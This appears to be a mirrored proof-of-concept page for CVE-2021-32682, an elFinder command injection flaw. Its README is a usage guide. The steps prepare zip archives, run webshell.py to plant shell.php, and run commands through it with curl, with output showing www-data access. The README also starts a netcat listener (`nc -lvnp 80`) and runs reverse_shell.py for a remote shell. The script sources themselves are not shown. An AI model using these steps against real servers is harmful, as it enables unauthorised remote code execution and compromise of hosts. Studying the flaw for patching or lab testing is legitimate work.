CVE-2021-32682 PoC — Multiple vulnerabilities leading to RCE

Source

Associated Vulnerability

Description

elFinder Commands Injection (CVE-2021-32682)

Readme

# elFinder ZIP Arguments Injection Leads to Commands Injection (CVE-2021-32682)
## Some POCs for CVE-2021-32682

## Usage

Since the vulnerability is a command injection we can write a web shell to a php file. This relies on if the server executes php.

* Create file 1.txt
* Right-click 'Create archive' -> 'Zip archive'
* Rename archive to '2.zip'
* Execute exploit


      # python3 webshell.py http://<url>:8080/<elfinder url>/
      Status code  200
      [+] Webshell successfully written!!
      Usage: http://<url>:8080/<elfinder url>/files/shell.php?cmd=<whoami>

      # curl 'http://<url>:8080/<elfinder url>/files/shell.php?cmd=id'
      uid=33(www-data) gid=33(www-data) groups=33(www-data)                                                                      


We can also just execute a reverse shell with the command injection

* Create file 1.txt
* Right-click 'Create archive' -> 'Zip archive'
* Rename archive to '2.zip'
* Start netcat listener `nc -lvnp 80`
* Execute exploit


      # python3 reverse_shell.py <lhost> <lport> http://<url>:8080/<elfinder url>/

Wait for incoming reverse shell



### Credits
https://github.com/vulhub/vulhub/tree/master/elfinder/CVE-2021-32682

https://www.sonarsource.com/blog/elfinder-case-study-of-web-file-manager-vulnerabilities/

File Snapshot

 [4.0K]  /data/pocs/783d76d45825de0e9360ccb35148104f89749e31
├── [1.3K]  README.md
├── [1.1K]  reverse_shell.py
└── [1.1K]  webshell.py

0 directories, 3 files

Remarks